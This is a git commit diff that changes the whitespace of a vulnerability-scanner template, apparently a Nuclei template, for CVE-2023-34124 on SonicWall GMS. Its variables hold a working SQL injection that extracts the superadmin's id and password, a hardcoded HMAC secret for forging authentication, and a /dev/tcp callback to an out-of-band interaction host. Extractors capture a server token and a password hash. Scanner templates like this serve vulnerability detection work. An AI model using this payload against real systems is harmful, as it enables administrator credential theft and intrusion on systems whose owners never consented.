Update CVE-2023-34124.yaml
parent
5cbc0e4415
commit
6e81e536a3
|
@ -22,11 +22,11 @@ info:
|
|||
tags: cve,cve2023,sonicwall,gsm,instrusive
|
||||
|
||||
variables:
|
||||
callback: "echo 1 > /dev/tcp/{{interactsh-url}}/80"
|
||||
query: "' union select (select ID from SGMSDB.DOMAINS limit 1), '', '', '', '', '', (select concat(id, ':', password) from sgmsdb.users where active = '1' order by issuperadmin desc limit 1 offset 0),'', '', '"
|
||||
secret: '?~!@#$%^^()'
|
||||
auth: "{{hmac('sha1', query, secret)}}"
|
||||
filename: "{{rand_base(5)}}"
|
||||
callback: "echo 1 > /dev/tcp/{{interactsh-url}}/80"
|
||||
query: "' union select (select ID from SGMSDB.DOMAINS limit 1), '', '', '', '', '', (select concat(id, ':', password) from sgmsdb.users where active = '1' order by issuperadmin desc limit 1 offset 0),'', '', '"
|
||||
secret: '?~!@#$%^^()'
|
||||
auth: "{{hmac('sha1', query, secret)}}"
|
||||
filename: "{{rand_base(5)}}"
|
||||
|
||||
http:
|
||||
- raw:
|
||||
|
@ -77,7 +77,7 @@ http:
|
|||
name: alias
|
||||
group: 1
|
||||
json:
|
||||
- '.alias'
|
||||
- '.alias'
|
||||
|
||||
- type: regex
|
||||
part: body
|
||||
|
@ -85,4 +85,4 @@ http:
|
|||
name: servertoken
|
||||
group: 1
|
||||
regex:
|
||||
- "getPwdHash.*,'([0-9]+)'"
|
||||
- "getPwdHash.*,'([0-9]+)'"
|
||||
|
|
Loading…
Reference in New Issue